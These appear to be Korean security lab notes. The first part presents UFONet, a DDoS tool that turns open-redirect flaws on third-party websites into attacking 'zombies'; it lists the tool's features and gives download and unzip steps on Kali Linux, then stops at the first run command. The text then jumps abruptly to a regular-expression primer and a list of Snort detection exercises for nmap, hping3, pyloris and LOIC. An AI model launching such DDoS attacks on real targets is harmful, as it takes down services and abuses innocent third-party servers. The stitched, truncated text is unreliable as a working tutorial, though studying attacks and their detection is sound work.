[실습] ufsnet 사용한 DDoS Attack 시뮬레이션

■ 사용 시스템

- KaliLinux

■ 사용 프로그램

- ufonet

UFONET 동작원리	UFONET GUI 툴

Description

UFONet is a free software tool designed to test DDoS attacks against a target using 'Open Redirect' vectors on third party web applications like botnet.

See this links for more info:

- CWE-601:Open Redirect:

http://cwe.mitre.org/data/definitions/601.html

- OWASP:URL Redirector Abuse:

https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2

UFONet abuses OSI Layer 7-HTTP to create/manage 'zombies' and to conduct different attacks using; GET/POST, multithreading, proxies, origin spoofing methods, cache evasion techniques, etc.

[Video] -> http://ufonet.03c8.net/ufonet/UFONet-v0.6.ogv

Features

● Auto-update

● Clean code (only needs python-pycurl)

● Documentation with examples

● Web/GUI Interface

● Proxy to connect to 'zombies' (ex: tor)

● Change HTTP Headers (User-Agent, Referer, Host...)

● Configure requests (Timeout, Retries, Delay...)

● Search for 'zombies' on google results (using a pattern or a list of dorks)

● Test 'Open Redirect' vulnerabilities on 'zombies'

● Download/Upload 'zombies' from Community

● Inspect a target (HTML objects sizes)

● Set a place to 'bit' on a target (ex: big file)

● Control number of rounds to attack

● Apply cache evasion techniques

● Supports GET/POST

● Multithreading

● Different search engines for dorking

● Web interface

● Geomapping / Visual data

● Order 'zombies' to attack you for benchmarking

● etc

(KaliLinux)

① ufonet 프로그램 다운로드

www.sourceforge.net 접속하여

-> "ufonet" 프로그램 검색

-> 파일이름: ufonet-v0.5b.zip

            ufonet-v0.6.zip

-> 0.5b 버전과 0.6 버전이 GUI Web으로 설정하는 화면이 조금 틀리다.

-> 0.6 버전은 여러가지 기능이 추가되었다.

ufonet 프로그램 직접 다운로드 하는 사이트

- https://sourceforge.net/projects/ufonet/?source=directory

② ufonet 프로그램 압축 해제 및 디렉토리 확인

● /test1 디렉토리에 ufonet-v0.6.zip 파일을 다운로드 받은 상태이다.

# cd /test1

# unzip ufonet-v0.6.zip

-> 출력내용 생략

# ls

ufonet/  ufonet-v0.6.zip

# cd ufonet

# ls

README.md  ufonet/

# cd ufonet

# ls

aliens.txt  core/  docs/  dorks.txt  server/  ufonet*  zombies.txt

③ ufonet 사용법 확인

# ./ufonet

                PCRE(Perl Compatible Regular Expression)

1. 정규 표현식이란?

● 정규표현식(Regualr Expression)은 특정한 규칙을 가진 문자열의 집합을 표현하는데 사용하는 형식 언어이다.

● 정규 표현식은 많은 텍스트 편집기와 프로그래밍 언어에서 문자열의 검색 치환을 위해 지원된다.

2. 실습을 위한 준비(필요한 프로그램 - 윈도우용)

적당한 프로그램 다운로드 받고 설치한다.

- (유료) RegexBuddy(http://www.regexbuddy.com/)

or

- (무료) Rad.RegexDesigner(http://www.radsoftware.com.au/regexdesigner/)

[참고] Snort에 대해서 더 공부해야할 사항들

다음 사항들에 대해서 별도의 study가 필요하다.

● snort rules generate => tools

● snort(IDS) + preventing => IPS

● snort -> DB -> WEB => tools

● Snort Rule Generator 사용법

다음과 같은 실습을 개인적으로 진행하고 분석 보고서를 작성한다.

[실습1] 스캐닝(scanning)에 대한 snort 점검 확인

- nmap 수행결과 snort 쪽에서 확인

[실습2] 플러딩 공격(flooding attack)에 대한 snort 점검 확인

- hping3 수행 결과 snort 쪽에서 확인

[실습3] 도스 공격(dos attack)에 대한 snort 점검 확인

- pyloris-3.2 버전 수행결과 snort 쪽에서 확인

- loic 툴로 공격에 대한 snort 쪽에서 확인
